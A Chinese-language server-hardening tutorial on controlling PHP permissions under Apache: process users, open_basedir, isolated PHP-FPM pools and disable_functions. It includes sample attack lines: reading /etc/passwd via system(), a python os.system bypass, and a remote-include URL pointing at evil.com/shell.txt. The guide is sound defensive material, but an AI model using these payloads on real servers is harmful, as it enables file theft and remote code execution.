apache + php 运行时权限由 php 进程的实际系统用户身份决定,而非 apache 配置单独控制;mod_php 下 php 继承 apache 进程 uid/gid,php-fpm 则可通过 pool 独立配置 user/group 实现更细粒度隔离。

Apache + PHP 运行时权限到底由谁控制?
不是 Apache 决定 PHP 脚本能读什么、写什么,而是 PHP 进程本身以哪个系统用户身份运行——这直接决定文件系统级权限边界。Apache 的 httpd 进程(或子进程)如果用 root 或 www-data 启动,而 PHP 又是通过 mod_php 模块嵌入其中,那 PHP 就完全继承 Apache 进程的 UID/GID。这时候限制 PHP 权限,本质是限制 Apache 工作用户的权限范围。
常见错误:只改 open_basedir 却没降权,攻击者仍可通过 system("cat /etc/passwd") 读取任意文件;或者用 suexec 但没配好 php-fpm pool 用户,导致 CGI 模式下权限失效。
- 确认当前模式:
phpinfo()查Server API,apache2handler表示mod_php,fpm-fcgi表示 PHP-FPM -
mod_php下必须降 Apache 工作用户(如改用apache-php专用用户),不能只依赖 PHP 配置 - PHP-FPM 模式更可控:每个 pool 可指定
user/group,且默认已禁用危险函数(需检查disable_functions)
关键配置项:open_basedir 不是万能,但必须设
open_basedir 是 PHP 层最基础的路径白名单,它强制所有文件操作(include、fopen、file_get_contents 等)只能在指定目录内进行。但它不防命令执行、不防内存读取、也不影响 proc_open 或 cURL 外连——仅对文件 I/O 生效。
错误用法:open_basedir = "/var/www/html" —— 缺少末尾斜杠会导致 /var/www/html123 也被允许;漏掉临时目录(如 /tmp)会导致 upload_tmp_dir 失效、session 无法写入。
立即学习“PHP免费学习笔记(深入)”;
- 推荐写法:
open_basedir = "/var/www/html:/tmp:/var/www/.composer"(多个路径用冒号分隔,Linux) - 在虚拟主机中配置,避免全局覆盖:
<Directory "/var/www/html/app"><br> php_admin_value open_basedir "/var/www/html/app:/tmp"<br></Directory>
- 注意:启用
open_basedir后,chdir()到非授权路径会失败,部分框架(如旧版 Laravel)可能报错,需同步调整日志/缓存路径
PHP-FPM 模式下如何真正隔离不同站点?
比 mod_php 安全得多的方式:让每个站点跑在独立的 PHP-FPM pool 中,各自用不同系统用户,再配合 open_basedir 和 disable_functions。这样即使一个站被黑,也无法跨站读取其他站点的 wp-config.php 或 .env。
典型陷阱:listen.owner 和 user 混淆——user 控制 PHP 进程 UID,listen.owner 只控制 Unix socket 文件属主,不影响脚本执行权限。
- 为站点 A 创建专用用户:
adduser --shell /bin/false --no-create-home sitea_user - 在
/etc/php/8.2/fpm/pool.d/sitea.conf中:user = sitea_user<br>group = sitea_user<br>listen = /run/php/php8.2-sitea.sock<br>php_admin_value[open_basedir] = /var/www/sitea:/tmp<br>php_admin_value[disable_functions] = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
- Apache 虚拟主机中用
ProxyPassMatch指向对应 socket:ProxyPassMatch ^/(.*\.php(/.*)?)$ "unix:/run/php/php8.2-sitea.sock|fcgi://localhost/var/www/sitea/"
为什么 disable_functions 在某些场景下会失效?
disable_functions 只作用于 PHP 解释器层,对通过 LD_PRELOAD、FFI(PHP 8.0+)、或外部二进制绕过(如 python -c "import os; os.system('id')")完全无效。更隐蔽的是:如果 allow_url_include = On,攻击者可远程加载恶意 payload,根本绕过本地函数禁用。
真实案例:某 CMS 开启了 allow_url_include,虽然禁了 system,但攻击者构造 ?file=http://evil.com/shell.txt 直接包含并执行远程代码。
- 必须关闭:
allow_url_include = Off(默认就是 Off,但有些一键包会开) -
disable_functions应写在 pool 配置里(php_admin_value),而非全局php.ini,防止被ini_set()绕过(仅对部分指令有效) - PHP 8.1+ 可考虑启用
ffi.enable = false(默认 false),避免 FFI 加载恶意共享库
权限控制的复杂点从来不在配置项数量,而在于层级叠加是否自洽:Apache 用户、PHP 进程 UID、open_basedir 范围、disable_functions 清单、以及是否关掉了 URL 包含——缺一不可,且任一环节松动都可能让整个防线失效。











